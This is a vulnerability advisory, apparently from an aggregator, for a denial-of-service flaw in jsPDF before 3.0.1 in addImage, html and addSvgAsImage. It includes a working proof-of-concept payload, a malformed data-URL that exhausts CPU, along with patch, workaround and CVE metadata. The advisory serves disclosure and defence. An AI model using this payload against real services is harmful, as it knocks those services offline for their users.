jsPDF is a library to generate PDFs in JavaScript. Prior to 3.0.1, user control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitised image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service. Other affected methods are html and addSvgAsImage. The vulnerability was fixed in jsPDF 3.0.1.
jsPDF is a library to generate PDFs in JavaScript. Prior to 3.0.1, user control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitised image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service. Other affected methods are html and addSvgAsImage. The vulnerability was fixed in jsPDF 3.0.1.
jsPDF is a library to generate PDFs in JavaScript. Prior to 3.0.1, user control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitised image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service. Other affected methods are html and addSvgAsImage. The vulnerability was fixed in jsPDF 3.0.1.
### Impact
User control of the first argument of the `addImage` method results in CPU utilization and denial of service.
If given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.
Other affected methods are: `html`, `addSvgAsImage`.
Example payload:
```js
import { jsPDF } from "jpsdf"
const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';
const startTime = performance.now()
try {
doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
const endTime = performance.now()
console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}
doc.save("a4.pdf");
```
### Patches
The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1
### Workarounds
Sanitize image urls before passing it to the `addImage` method or one of the other affected methods.
### Credits
Researcher: Aleksey Solovev (Positive Technologies)
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 18, 2025, 6:40:57 PM
dateUpdated: Mar 18, 2025, 7:02:49 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-400 · CWE-770
Original publisher date fields
published: 2025-03-18T19:15:51.197
lastModified: 2026-06-17T09:05:51.750
1 source CPE criteria · context only
cpe:2.3:a:parall:jspdf:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.